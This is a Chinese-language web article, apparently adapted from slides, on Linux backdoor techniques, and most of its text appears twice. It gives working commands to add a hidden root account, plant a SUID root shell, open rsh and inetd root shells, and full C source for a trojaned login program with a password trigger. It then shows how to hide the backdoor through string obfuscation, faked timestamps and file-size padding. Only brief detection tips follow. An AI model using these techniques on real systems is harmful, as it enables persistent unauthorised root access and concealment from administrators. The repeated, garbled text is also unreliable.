淺析Linux系統(tǒng)后門技術(shù)和實踐方法
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:38:35 作者:佚名
我要評論

后門簡介
入侵者完全控制系統(tǒng)后,為方便下次進入而采用的一種技術(shù)。
一般通過修改系統(tǒng)配置文件和安裝第三方后門工具來實現(xiàn)。
具有隱蔽性,能繞開系統(tǒng)日志,不易被系管理員發(fā)現(xiàn)等特點。
常用后門技術(shù)
增加超級用戶賬號
破解/嗅探用戶
后門簡介
入侵者完全控制系統(tǒng)后,為方便下次進入而采用的一種技術(shù)。
一般通過修改系統(tǒng)配置文件和安裝第三方后門工具來實現(xiàn)。
具有隱蔽性,能繞開系統(tǒng)日志,不易被系管理員發(fā)現(xiàn)等特點。 常用后門技術(shù) 增加超級用戶賬號
破解/嗅探用戶密碼
放置SUID Shell
rhosts
利用系統(tǒng)服務(wù)程序
TCP/UDP/ICMP Shell
Crontab定時任務(wù)
共享庫文件
工具包rootkit
可裝載內(nèi)核模塊(LKM) 增加超級用戶 # echo "e4gle:x:0:0::/:/bin/sh" >>
/etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >>
/etc/shadow
如果系統(tǒng)不允許uid=0的用戶遠程登錄,
還需要增加一個普通用戶賬號。 破解/嗅探用戶密碼 獲得shadow文件后,用John the Ripper
工具破解薄弱的用戶密碼。
安裝sniffit等嗅探工具,監(jiān)聽telnet、ftp等
端口,收集用戶密碼。 放置SUID Shell # cp /bin/bash /dev/.rootshell
# chmod u s /dev/.rootshell
普通用戶在本機運行/dev/.rootshell,即
可獲得一個root權(quán)限的shell。 rhosts # echo " " > /.rhosts
# rsh -l root victim.com csh -i
遠程可以得到一個rootshell。 利用系統(tǒng)服務(wù)程序 修改/etc/inetd.conf,
daytime stream tcp nowait /bin/sh sh -I
用trojan程序替換in.telnetd、in.rexecd等
inted的服務(wù)程序
重定向login程序 TCP/UDP/ICMP Shell BindShell,大部分是基于TCP/UDP協(xié)議
的網(wǎng)絡(luò)服務(wù)程序,在高端口監(jiān)聽,很容易
被發(fā)現(xiàn)。
Ping Backdoor,通過ICMP包激活后門,
形成一個Shell通道。
TCP ACK數(shù)據(jù)包后門,能夠穿越防火
墻。 Crontab定時任務(wù) 通過Crontab程序調(diào)度已安裝的后門程序
定時運行,一般在深夜時段,是系統(tǒng)管理
員不在線的時間。 共享庫文件 在共享庫中嵌入后門函數(shù)
使用后門口令激活Shell,獲得權(quán)限
能夠躲避系統(tǒng)管理員對二進制文件本身的
校驗 工具包rootkit 包含一系列系統(tǒng)及后門工具:
- 清除日志中的登錄記錄
- 偽裝校驗和
- 替換netstat、ps等網(wǎng)絡(luò)工具
- 后門登錄程序
易于安裝和使用 可裝載內(nèi)核模塊(LKM) LKM:Loadable Kernel Modules
動態(tài)的加載,不需要重新編譯內(nèi)核。
截獲系統(tǒng)調(diào)用,具有隱藏目錄、文件、進
程、網(wǎng)絡(luò)連接等強大功能。
自身隱蔽性好,發(fā)現(xiàn)難度較大。
著名的LKM包有adore和knark。 后門的檢測 以自己的經(jīng)驗,結(jié)合特定的工具,手工作
一些檢測。
使用Tripwire或md5校驗來檢查系統(tǒng)。
借助IDS系統(tǒng),監(jiān)聽到目標機器的可疑網(wǎng)
絡(luò)連接。 實例:login后門 入侵者先把原始的/bin/login備份,再用一
段程序替換/bin/login。入侵者telnet登錄
進來的時候,通過環(huán)境變量或者終端類型
傳遞了正確的后門密碼,將直接獲得一個
Shell;如果是普通用戶登錄,將會重定
向到原始的login文件,來處理正常的登
錄。
最簡單的login后門ulogin.c源代碼如下: 實例:login后門 #include <stdio.h>
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins" main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
利用后門登錄 首先Telnet服務(wù)是打開的,在自己機器上:
bash$Content$nbsp;export DISPLAY=passWORD
bash$Content$nbsp;telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is ’^]’.
% _ strings命令 strings命令能夠打印出二進制文件中的可顯示
字符串,用于剛才的ulogin程序:
bash$Content$nbsp;strings ulogin
/lib/ld-linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh 加密后門密碼(1) 1,采用DES算法,即crypt( )函數(shù),編寫gen.c程序:
#include <unistd.h>
main(int argc, char *argv[])
{
if (argc != 3) {
printf("usage: %s <password> <salt>\n", argv[0]);
exit(1);
}
printf("%s\n", crypt(argv[1], argv[2]));
} 加密后門密碼(1) 2、編譯為gen,執(zhí)行./gen hack ui,得到的shadow結(jié)
果為UiVqMWvDrIQjA。
3、修改后門源程序ulogin.c:
-- 以密文形式的密碼代替ulogin.c中define的宏
PASSWORD值。
-- 如果后門密碼正確,直接給出Shell:
if (!strcmp(PASSWORD, crypt(display,PASSWORD)))
{
system(SHELL);
exit(1);
}
用strings命令只能看到加密過的密碼。 加密后門密碼(2) 采用異或(XOR)算法
以十六進制方式表示字符串,以達到non-
printable的效果
1、編碼程序encode.c如下: 加密后門密碼(2) char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
int i=0,j=0,len;
len=strlen(key);
while(str[i] != ’\0’) {
str[i]^=key[j];
j ;
if(j==len) j=0;
i ;
}
return str;
}
void display(char *str)
{
int i;
for(i=0;i<strlen(str);i ) printf("\\x%x",str[i]);
printf("\n");
}
main()
{
char gets[100], *ptr;
ptr=gets;
scanf ("%s",ptr);
de(ptr,magic);display(ptr);
} 加密后門密碼(2) 2、編譯程序encode,依次執(zhí)行得到關(guān)鍵字符
串與magic串異或后的結(jié)果,例如原始login的文
件名/sbin/xlogin,經(jīng)過異或后為:
\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
3、在后門源代碼中這樣定義:
Char
login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x
13\xb";
然后插入異或函數(shù)char *de()結(jié)合同一magic
串,就能判斷出正確的后門密碼。
用strings命令看不到密碼、路徑等字符串了。 最后的修飾(1) 使后門程序ulogin的strings輸出類似于正
常login的strings輸出,做法為:
在ulogin.c代碼中增加一個字符串?dāng)?shù)組
char strings[] ="";,在引號中填入正常
login程序的strings輸出結(jié)果。
以假亂真,增加迷惑性。 最后的修飾(2) 調(diào)整后門程序的文件日期、大小等屬性:
1、日期
# ls -l /sbin/xlogin
-r-sr-xr-x root root 19300 Feb 11 1998
/sbin/xlogin
# touch -t 199802110000 ulogin
# _ 最后的修飾(2) 2、調(diào)整大小
# ls -l ulogin /sbin/xlogin
-r-sr-xr-x root root 7542 Feb 11 1998 ulogin
-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin
# bc
19300-7542
11758
# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1
1 0 records in
1 0 records out
11758 bytes transferred in 0.000379 secs (31016746
bytes/sec)
# cat /tmp/t >> ulogin Login后門的檢測 使用命令md5sum對現(xiàn)有/bin/login文件作
校驗,與以前的值作比較。
使用Red Hat Linux的RPM校驗:
# rpm -V util-linux
在入侵者已經(jīng)利用后門登錄的情況下,
who是看不到用戶的,查看系統(tǒng)進程,查
找login -h xxx.xxx.xxx.xxx的字樣。
一般通過修改系統(tǒng)配置文件和安裝第三方后門工具來實現(xiàn)。
具有隱蔽性,能繞開系統(tǒng)日志,不易被系管理員發(fā)現(xiàn)等特點。 常用后門技術(shù) 增加超級用戶賬號
破解/嗅探用戶密碼
放置SUID Shell
rhosts
利用系統(tǒng)服務(wù)程序
TCP/UDP/ICMP Shell
Crontab定時任務(wù)
共享庫文件
工具包rootkit
可裝載內(nèi)核模塊(LKM) 增加超級用戶 # echo "e4gle:x:0:0::/:/bin/sh" >>
/etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >>
/etc/shadow
如果系統(tǒng)不允許uid=0的用戶遠程登錄,
還需要增加一個普通用戶賬號。 破解/嗅探用戶密碼 獲得shadow文件后,用John the Ripper
工具破解薄弱的用戶密碼。
安裝sniffit等嗅探工具,監(jiān)聽telnet、ftp等
端口,收集用戶密碼。 放置SUID Shell # cp /bin/bash /dev/.rootshell
# chmod u s /dev/.rootshell
普通用戶在本機運行/dev/.rootshell,即
可獲得一個root權(quán)限的shell。 rhosts # echo " " > /.rhosts
# rsh -l root victim.com csh -i
遠程可以得到一個rootshell。 利用系統(tǒng)服務(wù)程序 修改/etc/inetd.conf,
daytime stream tcp nowait /bin/sh sh -I
用trojan程序替換in.telnetd、in.rexecd等
inted的服務(wù)程序
重定向login程序 TCP/UDP/ICMP Shell BindShell,大部分是基于TCP/UDP協(xié)議
的網(wǎng)絡(luò)服務(wù)程序,在高端口監(jiān)聽,很容易
被發(fā)現(xiàn)。
Ping Backdoor,通過ICMP包激活后門,
形成一個Shell通道。
TCP ACK數(shù)據(jù)包后門,能夠穿越防火
墻。 Crontab定時任務(wù) 通過Crontab程序調(diào)度已安裝的后門程序
定時運行,一般在深夜時段,是系統(tǒng)管理
員不在線的時間。 共享庫文件 在共享庫中嵌入后門函數(shù)
使用后門口令激活Shell,獲得權(quán)限
能夠躲避系統(tǒng)管理員對二進制文件本身的
校驗 工具包rootkit 包含一系列系統(tǒng)及后門工具:
- 清除日志中的登錄記錄
- 偽裝校驗和
- 替換netstat、ps等網(wǎng)絡(luò)工具
- 后門登錄程序
易于安裝和使用 可裝載內(nèi)核模塊(LKM) LKM:Loadable Kernel Modules
動態(tài)的加載,不需要重新編譯內(nèi)核。
截獲系統(tǒng)調(diào)用,具有隱藏目錄、文件、進
程、網(wǎng)絡(luò)連接等強大功能。
自身隱蔽性好,發(fā)現(xiàn)難度較大。
著名的LKM包有adore和knark。 后門的檢測 以自己的經(jīng)驗,結(jié)合特定的工具,手工作
一些檢測。
使用Tripwire或md5校驗來檢查系統(tǒng)。
借助IDS系統(tǒng),監(jiān)聽到目標機器的可疑網(wǎng)
絡(luò)連接。 實例:login后門 入侵者先把原始的/bin/login備份,再用一
段程序替換/bin/login。入侵者telnet登錄
進來的時候,通過環(huán)境變量或者終端類型
傳遞了正確的后門密碼,將直接獲得一個
Shell;如果是普通用戶登錄,將會重定
向到原始的login文件,來處理正常的登
錄。
最簡單的login后門ulogin.c源代碼如下: 實例:login后門 #include <stdio.h>
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins" main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
利用后門登錄 首先Telnet服務(wù)是打開的,在自己機器上:
bash$Content$nbsp;export DISPLAY=passWORD
bash$Content$nbsp;telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is ’^]’.
% _ strings命令 strings命令能夠打印出二進制文件中的可顯示
字符串,用于剛才的ulogin程序:
bash$Content$nbsp;strings ulogin
/lib/ld-linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh 加密后門密碼(1) 1,采用DES算法,即crypt( )函數(shù),編寫gen.c程序:
#include <unistd.h>
main(int argc, char *argv[])
{
if (argc != 3) {
printf("usage: %s <password> <salt>\n", argv[0]);
exit(1);
}
printf("%s\n", crypt(argv[1], argv[2]));
} 加密后門密碼(1) 2、編譯為gen,執(zhí)行./gen hack ui,得到的shadow結(jié)
果為UiVqMWvDrIQjA。
3、修改后門源程序ulogin.c:
-- 以密文形式的密碼代替ulogin.c中define的宏
PASSWORD值。
-- 如果后門密碼正確,直接給出Shell:
if (!strcmp(PASSWORD, crypt(display,PASSWORD)))
{
system(SHELL);
exit(1);
}
用strings命令只能看到加密過的密碼。 加密后門密碼(2) 采用異或(XOR)算法
以十六進制方式表示字符串,以達到non-
printable的效果
1、編碼程序encode.c如下: 加密后門密碼(2) char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
int i=0,j=0,len;
len=strlen(key);
while(str[i] != ’\0’) {
str[i]^=key[j];
j ;
if(j==len) j=0;
i ;
}
return str;
}
void display(char *str)
{
int i;
for(i=0;i<strlen(str);i ) printf("\\x%x",str[i]);
printf("\n");
}
main()
{
char gets[100], *ptr;
ptr=gets;
scanf ("%s",ptr);
de(ptr,magic);display(ptr);
} 加密后門密碼(2) 2、編譯程序encode,依次執(zhí)行得到關(guān)鍵字符
串與magic串異或后的結(jié)果,例如原始login的文
件名/sbin/xlogin,經(jīng)過異或后為:
\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
3、在后門源代碼中這樣定義:
Char
login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x
13\xb";
然后插入異或函數(shù)char *de()結(jié)合同一magic
串,就能判斷出正確的后門密碼。
用strings命令看不到密碼、路徑等字符串了。 最后的修飾(1) 使后門程序ulogin的strings輸出類似于正
常login的strings輸出,做法為:
在ulogin.c代碼中增加一個字符串?dāng)?shù)組
char strings[] ="";,在引號中填入正常
login程序的strings輸出結(jié)果。
以假亂真,增加迷惑性。 最后的修飾(2) 調(diào)整后門程序的文件日期、大小等屬性:
1、日期
# ls -l /sbin/xlogin
-r-sr-xr-x root root 19300 Feb 11 1998
/sbin/xlogin
# touch -t 199802110000 ulogin
# _ 最后的修飾(2) 2、調(diào)整大小
# ls -l ulogin /sbin/xlogin
-r-sr-xr-x root root 7542 Feb 11 1998 ulogin
-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin
# bc
19300-7542
11758
# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1
1 0 records in
1 0 records out
11758 bytes transferred in 0.000379 secs (31016746
bytes/sec)
# cat /tmp/t >> ulogin Login后門的檢測 使用命令md5sum對現(xiàn)有/bin/login文件作
校驗,與以前的值作比較。
使用Red Hat Linux的RPM校驗:
# rpm -V util-linux
在入侵者已經(jīng)利用后門登錄的情況下,
who是看不到用戶的,查看系統(tǒng)進程,查
找login -h xxx.xxx.xxx.xxx的字樣。
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經(jīng)歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06Windows系統(tǒng)安全風(fēng)險-本地NTLM重放提權(quán)
入侵者主要通過Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認證過程,利用NTLM重放機制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險微軟并不認為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關(guān)于http和https的區(qū)別,對于加密的https,我們一直認為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導(dǎo)致用戶信息泄露。2016-07-27- 國家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進入攻擊者郵箱2016-07-06